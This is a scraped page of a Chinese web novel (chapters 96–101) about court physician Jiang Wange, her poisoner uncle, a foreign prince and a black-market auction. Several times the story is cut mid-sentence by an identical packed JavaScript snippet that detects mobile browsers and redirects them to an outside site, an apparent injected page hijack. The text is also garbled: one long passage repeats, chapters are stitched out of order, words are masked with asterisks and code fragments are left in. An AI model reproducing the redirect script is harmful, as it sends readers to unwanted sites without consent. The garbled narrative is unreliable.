是我先问针灸技法。姜绾歌突然开口,肖姑娘答不上来,急哭了。 满屋子人目瞪口呆。沈砚白张着嘴,活像条离水的鱼。 王院使胡须抖了抖:都散了!姜大人随我来。 院使值房内。王院使关上门,脸上的怒气瞬间消散,取而代之的是一抹凝重。他转身看向姜绾歌,低声道:姜大人,有人盯上你了。 姜绾歌神色未变,指尖轻轻敲击着桌面:院使何出此言? 王院使从袖中取出一封信,递给她:今早有人送来的,说是给你的。 姜绾歌展开信纸,上面只有寥寥数字—— “三日后,落枫集,别多管闲事。 字迹潦草,像是匆忙写就,但纸角却印着一枚暗红色的指印,隐隐透着血腥气。 谁送来的?姜绾歌抬眸。 一个小乞丐,说是个穿黑斗篷的男人给的。王院使皱眉,姜大人,你这次出门,到底是要做什么? 姜绾歌将信纸折好,收入袖中:查点私事。 王院使叹了口气:太医院最近不太平,肖如梅背后有人,你小心些。 姜绾歌点头,刚要开口,门外突然传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777488|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来急促的脚步声,紧接着是沈砚白慌张的喊声—— 大人!不好了!肖医女她……她发疯了! 太医院后院,众人围成一圈,中间的地上,肖医女蜷缩着身子,双手死死掐着自己的脖子,脸色涨得紫红,嘴里不停嘶吼着:别过来!别过来! 几个药童吓得脸色发白,想上前又不敢,只能站在一旁干着急。 姜绾歌快步上前,一把扣住肖医女的手腕,指腹搭上她的脉搏,眉头瞬间皱起—— **了。 她迅速从腰间取出银针,刺入肖医女的几处穴位。肖医女浑身一颤,随即瘫软下来,眼神涣散,嘴里却还在喃喃自语:不是我……不是我下的毒…… 沈砚白蹲下身,低声问:大人,她中的什么毒? 姜绾歌收回银针,冷声道:黄粱散。 什么?沈砚白震惊,那不是您…… 姜绾歌打断他:我给的药,只会让人做噩梦,不会让人疯癫。她目光扫过周围众人,有人改了药性。 王院使脸色阴沉:查!今日谁碰过肖医女的饮食? 众人面面相觑,无人敢应。 姜绾歌站起身,淡淡道:不必查了。 她看向沈砚白,神色凝重:去药库取三钱甘草、五钱绿豆,煎成浓汁给她服下。记得用砂锅慢煎,火候不能过急。 沈砚白点头,匆匆离去。 姜绾歌蹲下身子,指尖搭在肖医女腕间,脉象虚浮如游丝。 她低头看着昏迷的肖医女,伸手拨开对方凌乱的发丝,发现耳后有个不易察觉的红点,轻声道:看来有人不想让她开口。这毒下得蹊跷,既不致命,又能让她无法清醒,定是想从她口中套取什么。 夕阳的余晖洒在杏林堂的匾额上,姜绾歌翻身下马,大步跨入杏林堂。 掌柜老周正在柜台后拨弄算盘,见她进来,连忙迎上前:小姐,您怎么这时候来了? 姜绾歌环顾四周,压低声音:最近可有生面孔来买药? 老周摇头:都是熟客,不过前日有个戴斗笠的男人,专挑寒性的药材买,还问了不少关于解毒的事。 第96章 算账 她索性顺着他的话头开口:“刘员外若觉得利钱太高,咱们可以去府衙请大人评评理。” 她晃了晃账簿,“上个月的赊账记录都在这儿,连店小二都能作证。” 周围食客纷纷点头,有人喊:“对!欠债还钱天经地义,刘员外别仗着家里有钱就欺负小老百姓!” 刘员外脸色青一阵白一阵,突然咬咬牙,从怀里掏出张银票拍在桌上:“四十两!拿去吧!” 姜小淘眼疾手快抓起银票,凑到阳光下细看:“阿姐,是真银票!” 他转身把银票塞进账房的钱箱,算盘打得哗啦响,“现在刘员外欠的账都清了,以后再来喝酒就得付现钱,不然我就画他的画像贴在门口当‘赖账鬼’!” 顾云霁被逗得大笑,伸手揉了揉小淘的冲天辫:“小公子这算盘打得精,不如跟我去霁月楼学本事?我那儿有会自动报数的铜算盘,比你手里的好玩十倍。” 姜小淘眼睛一亮,刚要开口,却被姜绾歌轻轻拽到身后:“顾公子的美意,民女心领了。小淘年纪还小,等长大些再谈学本事的事。” 顾云霁的扇子在空中划了个漂亮的弧线,轻轻点在姜绾歌手背上:姜姑娘这是信不过我? 姜绾歌迅速抽回手,银针在袖口若隐若现:顾公子说笑了。只是我们小门小户的,高攀不起霁月楼。 哦?顾云霁忽然俯身,在她耳边低语,那晚在城郊帮我救人的时候,怎么不说高攀不起? 姜绾歌心头一跳。这混蛋居然当众提这事! 她正要反驳,酒楼门口突然传来一阵骚动。 几个衙役押着个蓬头垢面的男人经过,那男人突然挣脱束缚,冲进醉仙楼大喊:顾云霁!你害我全家!我做鬼也不放过你! 顾云霁连眼皮都没抬,随手甩出扇子。啪的一声,那人的叫骂戛然而止——扇骨正打中他哑穴。 姜绾歌看得真切,这手法分明是江湖上失传已久的封喉术。 衙役们慌忙冲进来拖人,领头的对着顾云霁连连作揖:顾公子恕罪,这疯子从大牢里跑出来... 无妨。顾云霁摆摆手,转向姜绾歌时又换上那副玩世不恭的笑脸,姜姑娘现在信了吧?跟我扯上关系的人,都没好下场。 姜小淘突然从柜台底下钻出来,手里举着个算盘:阿姐说过,做生意要算清楚!顾大哥帮我们要回四十两,我们请你吃顿好的! 小淘!姜绾歌想拦已经来不及。 顾云霁眼睛一亮,顺手把小孩抱起来转了个圈:好小子!比你姐姐懂事多了! 他凑到姜小淘耳边,声音却故意让所有人都听见,我告诉你个秘密——你姐姐那晚救人的时候,可没这么凶。 酒楼里的食客们顿时竖起耳朵。姜绾歌气得牙痒痒,这混蛋分明是在威胁她! 顾公子。她一把拉回弟弟,皮笑肉不笑地说,既然要吃饭,就请楼上雅间坐。别在这儿影响我们做生意。 顾云霁笑得像只偷到鱼的猫:恭敬不如从命。 上了二楼,姜绾歌把菜单往顾云霁面前一摔:点菜。 这么大火气?顾云霁慢悠悠地翻着菜单,要不先来壶菊花茶降降火? 不必。姜绾歌盯着他的眼睛,顾公子有话直说。费这么大周折,总不会真为了讨杯酒喝。 顾云霁突然收起玩笑神色,从袖中掏出一封烫金请柬推到她面前:认识这个吗? 姜绾歌瞥见请柬上熟悉的朱雀纹样,手指不自觉地收紧:黑市的拍卖会请柬? 不错。顾云霁压低声音,那晚你救的人,是西陵国的三殿下楚临风。 姜绾歌手中的茶盏当啷一声磕在桌沿。 西陵国与大胤虽未交战,但边境摩擦不断。 你疯了?她一把扣住顾云霁的手腕,救他国皇子是要掉脑袋的! 顾云霁轻轻转动手腕挣脱:所以楚殿下特意让我来道谢。 他指尖点了点请柬,三日后落枫集的黑市,有人要出手买寒蝉毒的解药方子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777486|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>寒蝉毒?姜绾歌心头一震。那晚解毒时她就觉得蹊跷,这毒分明是西域才有的蛊毒... 顾云霁冷笑,骨节分明的手指敲打着案几,给楚临风下毒的,正是你那位好二叔——姜府二老爷。 姜绾歌猛地站起来,木凳在青砖地上刮出刺耳声响:他哪来的胆子? 自然是有人撑腰。顾云霁展开折扇轻摇,扇面上的墨竹随着动作晃动。 你二叔现在,正在我霁月楼的地牢里。他抬眸,看向姜绾歌,楚临风的人抓到他时,他正躲在乡下老宅的地窖里,抱着几锭银子发抖。 姜绾歌攥紧拳头,指甲几乎掐进掌心:他……真的下毒了? 千真万确。顾云霁从袖中取出一张皱巴巴的字条,推到她面前,这是赌场的借据,你二叔欠了三千两,被人打断了两根肋骨。后来有个神秘人替他还了债,条件是——接近楚临风,找机会下毒。 姜绾歌盯着那张字条,上面歪歪扭扭地写着事成之后,再付五千两,落款却是一片空白。 他连对方是谁都不知道,就敢接这种要命的差事?她冷笑,声音却微微发颤。 你二叔是什么人,你比我清楚。顾云霁轻嗤,贪财怕死,又总想着一步登天。对方随便编个"事成之后保他入朝为官"的谎话,他就信了。 姜小淘躲在门后,怯生生地探出脑袋:阿姐……二叔真的害人了? 姜绾歌深吸一口气,压下翻涌的情绪:小淘,去后院把晒的药材收了。 等弟弟走远,她才冷冷开口:楚临风想怎么处置我二叔? 顾云霁指尖轻敲桌面:他原本是想直接剐了的。见姜绾歌眼神一厉,他笑了笑,不过嘛,我劝住了。 条件? 聪明。顾云霁赞许地看她一眼,楚临风要见你。 姜绾歌眯起眼:见我? 对,见你。顾云霁站起身,居高临下地看着她,毕竟,他差点死在你二叔手里,而你救了他一命。这笔账,总得算清楚。 第97章 教训二叔 姜绾歌跟着顾云霁穿过霁月楼的后院时,发现地上落着几片新鲜的梧桐叶。 她弯腰拾起一片,叶脉上沾着暗红痕迹。 血?她指尖一颤。 顾云霁头也不回:昨儿夜里审你二叔时溅的。他忽然转身,月光从梧桐叶间隙漏下来,在他脸上投下斑驳阴影,怎么,心疼了? 姜绾歌碾碎叶片冷笑:我心疼那些梧桐树。 地牢入口藏在假山后,两个侍卫正在石灯笼下打盹。顾云霁踹了脚青砖,机关转动声惊得侍卫慌忙跪地:公子! 楚殿下到了? 刚到。侍卫偷瞄姜绾歌,只是...... 顾云霁已经掀开藤蔓往里走。潮湿的霉味混着血腥气扑面而来,姜绾歌摸到袖中银针才定下心神。 姜绾歌站在地牢拐角的阴影处,远远看着被铁链锁住的二叔。他蜷缩在角落里,衣衫褴褛,右脸肿得老高,嘴里还骂骂咧咧的,似乎完全没意识到自己闯了多大的祸。 顾云霁靠在石壁上,似笑非笑地看着她:怎么,心软了? 姜绾歌收回目光,冷冷道:他死不足惜,但姜家不能再**了。 她跟着顾云霁继续往里走,最终停在一间石室前。烛火摇曳间,一道修长的身影背对着他们,正低头看着桌上的什么东西。 殿下。顾云霁懒洋洋地开口,人带来了。 那人缓缓转身,狐裘下的面容苍白如雪,却仍掩不住眉宇间的贵气。 姜姑娘。楚临风的声音低沉,带着几分病态的沙哑,我们又见面了。 姜绾歌微微颔首:殿下身体可好些了? 托姑娘的福,暂时死不了。他轻咳两声,指尖点了点桌上的羊皮卷,不过,寒蝉毒的解药方子,似乎不止一份。 姜绾歌眯起眼:殿下什么意思? 三日后,落枫集的黑市拍卖会上,有人要卖这张方子。楚临风抬眸,眼底冷意森然,而我要你,别让他们拿到真的。 姜绾歌心头一凛:殿下是想让我给假方子? 聪明。楚临风唇角微勾,这样,背后的人才会露出马脚。 姜绾歌沉默片刻,忽然笑了:殿下高看我了。我若给了假方子,对方发现后,第一个要杀的,恐怕就是我。 所以呢?楚临风慢条斯理地倒了杯茶,你想拒绝? 不。姜绾歌直视他的眼睛,我想请殿下先放了我二叔。 楚临风指尖一顿,茶盏停在半空:哦? 他不过是个被人利用的蠢货,留着也没用。姜绾歌语气平静,放了他,我保证三日后,拍卖会上流出的方子,绝对没人能用。 楚临风盯着她看了许久,忽然低笑出声:有意思。他转向顾云霁,你怎么看? 顾云霁把玩着扇子,漫不经心道:放个废物换姜姑娘全力相助,这买卖不亏。 楚临风沉吟片刻,终于点头:好。他抬手指向地牢深处,人你可以带走,但若三日后事情有变...... 殿下放心。姜绾歌打断他,眼神却飘向牢房方向,不过...还请殿下帮我个忙。 楚临风挑眉:哦? 姜绾歌从袖中取出一个小瓷瓶放在桌上:这是我特制的"黄粱散",服下后会让人做三天噩梦,梦到最害怕的事。 她指尖轻点瓶身,请殿下让我二叔服下这个再放人。 顾云霁唰地展开扇子,半掩着嘴角:姜姑娘这是要帮亲叔叔戒赌?倒是稀奇。 他这辈子最怕两件事。姜绾歌冷笑,一是鬼,二是讨债的。这药能让他把这两样梦个够。 楚临风突然伸手按住瓷瓶:这么有趣的药,不如先让本王开开眼? 顾云霁扇子一收:怎么,殿下也想试试? 本王只是好奇,楚临风苍白的手指摩挲着瓶身,能让赌鬼戒赌的药,到底有多厉害。 姜绾歌抱臂而立:殿下若不信,大可以找个人试试。 不必。楚临风突然低笑出声,将瓷瓶收入袖中,本殿倒要看看,这药能让他说出些什么来。 顾云霁用扇子轻点下巴:那可得记下来,说不定比戏文还精彩。 二位慢慢看戏。姜绾歌转身就走。 姜府。 月光透过破旧的窗棂,在青砖地上投下斑驳的影子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777487|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜绾歌拉着小淘蹲在西厢房的窗根下,透过破损的窗纸往里瞧。 阿姐...小淘刚想说话,就被姜绾歌捂住嘴。 屋内突然传来哐当一声巨响,紧接着是姜二叔撕心裂肺的惨叫:别过来!别过来!钱我都还!我都还啊! 透过窗缝,只见姜二叔披头散发地在屋里乱窜,把桌椅撞得东倒西歪。他拼命挥舞着双手,像是要赶走什么看不见的东西。 讨债的来了...他们来割手指头了!姜二叔突然跪在地上猛磕头,饶了我吧!我再也不敢了! 小淘吓得往姐姐怀里缩了缩:阿姐,二叔真的看见鬼了? 姜绾歌轻轻拍着弟弟的背:不是鬼,是"黄粱散"让他梦见最害怕的事。她眯起眼睛,看来二叔最怕的,是被人讨债。 屋里又传来咚的一声闷响。姜二叔一头撞在柱子上,捂着额头哀嚎:别割我手指!我发誓再也不赌了!要赌就让我天打雷劈! 院墙外,顾云霁摇着扇子对阴影处道:看见没?这才是真正的教训人。 楚临风从树后转出,狐裘上沾着夜露:她给的若是**,你也喝? 顾云霁啪地合上扇子,似笑非笑:那得看她给多少银子。 楚临风眯起眼:你什么时候开始缺钱了? 不缺钱。顾云霁用扇尖指了指屋内还在发疯的姜二叔,但缺这样的好戏看。 楚临风轻哼一声,忽然压低声音:那丫头不简单,你最好别玩过头。 殿下这是担心我?顾云霁挑眉,还是担心她坏了你的计划? 两人对视片刻,楚临风忽然笑了:我只是好奇,霁月楼楼主什么时候变得这么爱管闲事了? 彼此彼此。顾云霁转身往院外走,西陵三殿下不也亲自来看热闹? 楚临风望着顾云霁离去的背影,指尖轻轻碾碎那片梧桐叶。 有意思。他忽然低笑,堂堂靖王妃,竟能解了连御医都束手无策的寒蝉毒。 夜风骤起,吹散一地落叶。 楚临风望着姜家旧宅的灯火,眼中闪过一丝锐利的光芒:看来这位靖王妃,比传闻中要有趣得多。 第98章 肖医女** 晚上姜绾歌从姜府回到靖王府,刚迈进院子,丫鬟青柠就拿着披风迎上来:“小姐,夜里凉,快披上。” “三日后我要出趟远门,”姜绾歌解下头上的帷帽递给她,“帮我收拾两身轻便的衣裳,再把小药箱装满常用药材。” 青柠恭敬地应了声“是”,双手接过东西便去准备。 她做事利落,很快就将收拾好的衣物和药箱整齐摆放在屋里,又轻手轻脚地给姜绾歌端来热水,伺候她洗漱后,便安静退下。 太医院·清晨。 晨雾还未散尽,姜绾歌刚跨进西配殿门槛,就听见煎药房里传来刻意抬高的议论。 听说没?咱们这位王妃娘娘又要告假三日。尖细的女声像指甲刮过瓷碗,人家肖姑娘三年都没休过旬假呢。 嘘——另一个声音故作惊慌,人家可是治好了青芦镇瘟疫的神医,皇上亲封的女医官! 药碾子重重一磕:什么神医?不过是在**堆里捡了个功劳... 姜绾歌面无表情地穿过回廊,迎面撞上抱着医案的沈砚白。少年额头青筋暴起,崭新的学徒官服被攥得皱皱巴巴。 大人!他们... 血见愁研好了?姜绾歌打断他,声音不大不小正好让煎药房安静下来。 廊柱后转出个穿杏红比甲的姑娘,腰间银针囊叮当作响:姜大人来得正好,奴婢这儿有几个针灸问题请教。 肖医女故意把请教二字咬得极重,身后跟着三四个捂嘴偷笑的药童。 问。姜绾歌径自走向药柜。 听说大人三日后要出远门?肖医女指尖银针转得飞快,太医院规第七条,无故旷职三日者... 沈砚白突然把药柜拍得震天响:姜大人是奉了皇上口谕! 哎呦,好大的威风。圆脸药童阴阳怪气,沈公子攀上高枝就是不一样。 你!沈砚白猛地揪住对方衣领,当初青芦镇疫情,你们躲在家里装病时... 砚白。姜绾歌头也不回地配药,去库房取半斤雄黄。 肖医女趁机逼近:雄黄治疟疾,今日当值的可是跌打损伤... 给你用的。姜绾歌突然转身,药碾子咣当砸在两人之间的案几上,治口舌生疮。 药房里顿时炸开锅。圆脸药童尖叫:你骂谁呢! 谁应骂谁。沈砚白挡在姜绾歌身前,官帽都歪了。 肖医女银针寒光一闪:沈公子,太医斗殴可是要流放的... 都住手! 炸雷般的呵斥从门口传来,王院使铁青着脸站在晨光里。众人瞬间鸦雀无声,只有姜绾歌还在不紧不慢地包药。 姜大人。王院使盯着她手中的药包,解释。 雄黄二两,朱砂一钱。姜绾歌系好棉绳,治疯犬咬伤的药。 肖医女脸色瞬间惨白。圆脸药童跳起来:她骂我们是狗! 本官问的是这个吗?王院使突然暴喝,吓得小药童跌坐在地,太医院规第十三条,无故挑衅上官者该如何? 肖医女扑通跪下:院使明鉴,是姜大人先... 是我先问针灸技法。姜绾歌突然开口,肖姑娘答不上来,急哭了。 满屋子人目瞪口呆。沈砚白张着嘴,活像条离水的鱼。 王院使胡须抖了抖:都散了!姜大人随我来。 院使值房内。王院使关上门,脸上的怒气瞬间消散,取而代之的是一抹凝重。他转身看向姜绾歌,低声道:姜大人,有人盯上你了。 姜绾歌神色未变,指尖轻轻敲击着桌面:院使何出此言? 王院使从袖中取出一封信,递给她:今早有人送来的,说是给你的。 姜绾歌展开信纸,上面只有寥寥数字—— “三日后,落枫集,别多管闲事。 字迹潦草,像是匆忙写就,但纸角却印着一枚暗红色的指印,隐隐透着血腥气。 谁送来的?姜绾歌抬眸。 一个小乞丐,说是个穿黑斗篷的男人给的。王院使皱眉,姜大人,你这次出门,到底是要做什么? 姜绾歌将信纸折好,收入袖中:查点私事。 王院使叹了口气:太医院最近不太平,肖如梅背后有人,你小心些。 姜绾歌点头,刚要开口,门外突然传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777488|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来急促的脚步声,紧接着是沈砚白慌张的喊声—— 大人!不好了!肖医女她……她发疯了! 太医院后院,众人围成一圈,中间的地上,肖医女蜷缩着身子,双手死死掐着自己的脖子,脸色涨得紫红,嘴里不停嘶吼着:别过来!别过来! 几个药童吓得脸色发白,想上前又不敢,只能站在一旁干着急。 姜绾歌快步上前,一把扣住肖医女的手腕,指腹搭上她的脉搏,眉头瞬间皱起—— **了。 她迅速从腰间取出银针,刺入肖医女的几处穴位。肖医女浑身一颤,随即瘫软下来,眼神涣散,嘴里却还在喃喃自语:不是我……不是我下的毒…… 沈砚白蹲下身,低声问:大人,她中的什么毒? 姜绾歌收回银针,冷声道:黄粱散。 什么?沈砚白震惊,那不是您…… 姜绾歌打断他:我给的药,只会让人做噩梦,不会让人疯癫。她目光扫过周围众人,有人改了药性。 王院使脸色阴沉:查!今日谁碰过肖医女的饮食? 众人面面相觑,无人敢应。 姜绾歌站起身,淡淡道:不必查了。 她看向沈砚白,神色凝重:去药库取三钱甘草、五钱绿豆,煎成浓汁给她服下。记得用砂锅慢煎,火候不能过急。 沈砚白点头,匆匆离去。 姜绾歌蹲下身子,指尖搭在肖医女腕间,脉象虚浮如游丝。 她低头看着昏迷的肖医女,伸手拨开对方凌乱的发丝,发现耳后有个不易察觉的红点,轻声道:看来有人不想让她开口。这毒下得蹊跷,既不致命,又能让她无法清醒,定是想从她口中套取什么。 夕阳的余晖洒在杏林堂的匾额上,姜绾歌翻身下马,大步跨入杏林堂。 掌柜老周正在柜台后拨弄算盘,见她进来,连忙迎上前:小姐,您怎么这时候来了? 姜绾歌环顾四周,压低声音:最近可有生面孔来买药? 老周摇头:都是熟客,不过前日有个戴斗笠的男人,专挑寒性的药材买,还问了不少关于解毒的事。 第100章 老头是太监? 不必。她抽回袖子,却见老头像孩童耍赖般张开双臂拦住去路。 你救了老头子两次!他眼睛瞪得滚圆,按江湖规矩得报恩!说着突然把芝麻糖往她嘴里一塞。 甜腻在舌尖化开的瞬间,姜绾歌突然嗅到糖里混着龙涎香——这是御用香料!她猛地扣住老头手腕:您到底是... 嘘——老头突然贴近她耳边,声音轻得如同落叶擦过,听雨阁的雇主,是宫里人。 姜绾歌瞳孔骤缩。老头趁机往她腰间暗囊塞了个硬物,触手冰凉,正是先前那块枫木牌。 侍从突然低喝:有人来了! 林中传来密集的脚步声,比先前更多。姜绾歌当机立断翻身上马:上马! 老头却摇头:带着我们你走不快。他拍拍马车残骸,往北三里有个土地庙,庙后枯井通着黑市。突然压低声音,小心穿紫衣的药材商。 马蹄声已近在咫尺。姜绾歌深深看老头一眼,扬鞭策马冲入密林。身后传来老头中气十足的喊声:记得啊丫头!老夫姓黄,家住皇... 疾风吞没了后半句话。 土地庙·子时 枯井比她想象的深。姜绾歌攥着井绳下滑时,腐臭味里混着淡淡药香。井底果然有条暗道,石壁上每隔十步就嵌着盏幽绿的萤石灯。 站住。沙哑的声音突然响起。暗道尽头站着个穿紫袍的瘦高男子,脸上戴着青面獠牙的傩戏面具,令牌。 姜绾歌亮出木牌。面具人浑身一震,竟扑通跪下:不知贵客降临!他颤抖着推开身后石壁,露出灯火通明的巨大洞窟,莫老在药王厅等您。 姜绾歌踏入洞窟,只见洞内人声鼎沸,药材、珍宝堆满角落。穿过熙熙攘攘的人群,她在药王厅见到了莫老——一个白发苍苍却精神矍铄的老者。 莫老看到姜绾歌手中的木牌,眼神瞬间变得恭敬:“原来是黄...”话未说完,被姜绾歌抬手打断。她直接询问是否见过听雨阁的人在此活动。 莫老皱着眉回忆,突然想起今早有批穿黑衣的人带着大量珍贵药材来交易,领头的人正是锁骨处有雨滴入剑纹身。还没等姜绾歌再问,洞外突然传来一阵喧哗。 原来是几个穿紫衣的药材商在和守卫起冲突,为首的紫衣人满脸横肉,叫嚷着要见莫老。姜绾歌心中警铃大作,想起黄老头的提醒,悄悄摸出银针藏在袖中。 紫衣人一进药王厅,看到姜绾歌手中的木牌,眼神瞬间变得凶狠,一挥手,身后的手下立刻抽出武器围了上来...... 紫衣人狞笑着逼近:“小丫头,交出木牌!”话音未落,他身后两名手下已持刀劈来。 姜绾歌旋身躲开,银针脱手而出,精准刺入两人膝盖。趁众人愣神之际,她反手抽出软剑,剑光如电,直取紫衣人咽喉。 紫衣人慌忙举刀格挡,却被姜绾歌一脚踢中手腕,长刀飞落。就在此时,药王厅后方突然传来巨响,数十名蒙面人破墙而入,领头者赫然戴着听雨阁的青色面具。 “一起上!杀了她!”紫衣人捂着腕子退到蒙面人身后。姜绾歌背靠石柱,目光冷冽。莫老带着手下躲在桌后,大声喊道:“贵客坚持住!我已派人去请援手!” 混战中,姜绾歌瞥见一名蒙面人腰间挂着杏林堂样式的药囊,心中顿时一沉。 她虚晃一剑逼退近身敌人,猛地扑向那名蒙面人,抓住药囊扯下——囊内赫然装着半株雪里青! “果然是你们!”姜绾歌怒喝,软剑直指蒙面人。就在这千钧一发之际,洞外突然传来一声长啸,黄老头带着侍从小顺子破风而入。 黄老头手中木棍舞得虎虎生风,瞬间打翻几个黑衣人:“欺负我救命恩人?问过我这老骨头没有!” 黄老头的加入瞬间扭转战局,小顺子剑招凌厉,配合着姜绾歌左右夹击。蒙面人们见势不妙,纷纷欲退。紫衣人咬牙掷出三枚毒烟弹,洞窟内顿时烟雾弥漫。 姜绾歌屏息闭气,凭借银针探路,突然感觉左侧有破空声袭来,反手一挡,竟是枚淬毒飞镖。 她循着暗器方向追去,在烟雾中揪住了那名带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说着他压低声音,往洞外张望了一圈,“我从宫里出来后,只能在黑市混日子。这糖是特意给你留的!” 姜绾歌收下油纸包,终究没吃那块糖。她将糖包随手塞进袖中,冲黄老头拱了拱手:多谢相助。 哎,丫头这就走啦?黄老头搓着手,眼巴巴地望着她,要不跟老头子去喝杯酒?我知道有家店的桂花酿...... 第101章 拍卖会 不必。姜绾歌打断他,转身朝洞外走去,我还有事。 黄老头在身后喊:那你自己小心啊!后会有期! 姜绾歌头也不回地摆摆手,身影很快消失在幽暗的甬道中。 无名客栈,姜绾歌推开客栈吱呀作响的木门,柜台后打盹的伙计猛地惊醒,揉着眼睛问:客官打尖还是住店? 一间上房。她抛出一粒碎银,不要打扰。 伙计接过银子,眼睛一亮,连忙引她上楼:客官这边请! 房间简陋但干净。姜绾歌拴好门闩,将油纸包放在桌上,又取出腰间暗囊里的枫木牌,借着烛光细细端详。 木牌上的枫字刻痕陈旧,但边缘却异常光滑,像是常年被人摩挲。翻到背面,那个小小的柒字在烛光下泛着淡淡的金芒。 皇......她低声念着黄老头未说完的话,指尖轻轻划过木牌,皇什么? 窗外传来更夫的梆子声,已是四更天。姜绾歌吹灭蜡烛,和衣躺下,银针却始终捏在指间。 霁月楼·次日午时。 顾云霁倚在窗边,孔雀蓝的衣袍被风吹得微微扬起。见姜绾歌进门,他唇角勾起一抹笑:王妃娘娘来得真早。 姜绾歌冷着脸坐下:你收到我的信了? 自然。顾云霁给她倒了杯茶,不过我更想知道,昨夜的黑市之行,可还顺利? 茶香氤氲,姜绾歌盯着杯中浮沉的茶叶,淡淡道:遇到听雨阁的**了。 顾云霁执壶的手微微一顿:哦? 他们像是早就知道我会去。姜绾歌抬眸,直视他的眼睛,领头的人锁骨有雨滴入剑的纹身。 顾云霁轻轻放下茶壶,瓷器和木桌相碰,发出清脆的声响:听雨阁向来认钱不认人,能请动他们出手的,不是权贵就是巨富。 他忽然倾身向前,王妃最近得罪了哪位大人物? 姜绾歌冷笑:这不该问你吗? 冤枉啊。顾云霁摊手,袖中滑出一把折扇,唰地展开,我若是想害你,当初何必请你救人? 扇面上墨竹摇曳,姜绾歌突然注意到他手腕内侧有一道新鲜的伤痕——像是被什么利器划过。 你受伤了?她挑眉。 顾云霁迅速收回手,笑道:昨夜赏月时不小心被树枝刮的。 姜绾歌不置可否,转而问道:拍卖会的事安排得如何? 一切妥当。顾云霁合上扇子,轻轻敲击桌面,不过......他忽然压低声音,我查到些有趣的事。 说。 听雨阁最近接的单子,都跟一种叫"雪里青"的药材有关。顾云霁眸中闪过一丝锐利,巧的是,这批药材最后都流向了...... 杏林堂。姜绾歌冷声接话。 顾云霁挑眉:王妃果然聪明。 姜绾歌从袖中取出那半株雪里青,丢在桌上:昨夜从听雨阁**身上找到的。 顾云霁用扇尖拨了拨药材,忽然笑了:有意思。这雪里青里掺了东西。他掰开根茎,露出里面暗红色的粉末,龙血砂,皇室秘药之一。 姜绾歌瞳孔微缩。 看来我们的对手来头不小啊。顾云霁漫不经心地把玩着扇子,王妃接下来打算怎么做? 引蛇出洞。姜绾歌站起身,既然他们想要药方,那就给他们。 顾云霁轻笑:需要我配合什么? 查清楚杏林堂里谁是内鬼。姜绾歌走向门口,突然回头,还有,查查"黄老七"是谁。 顾云霁执扇的手突然僵住:你见到他了? 姜绾歌眯起眼:你认识? 略有耳闻。顾云霁很快恢复如常,笑道。 姜绾歌盯着他看了片刻,淡淡道:是吗。 她转身推门离去,没看到身后顾云霁瞬间阴沉下来的脸色。 落枫集·黑市拍卖会。 夜色如墨,落枫集的黑市却灯火通明。 姜绾歌披着一件暗色斗篷,帽檐压得极低,只露出一截白皙的下巴。 她指尖摩挲着袖中的药方,唇角微勾——方子上的几味药材已被她调换了顺序,药效全无,但若不细看,根本辨不出真假。 紧张?身旁的顾云霁摇着折扇,孔雀蓝的衣袍在灯火下泛着幽光,唇角噙着若有似无的笑。 紧张什么?姜绾歌淡声道,怕有人抢着送死? 顾云霁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 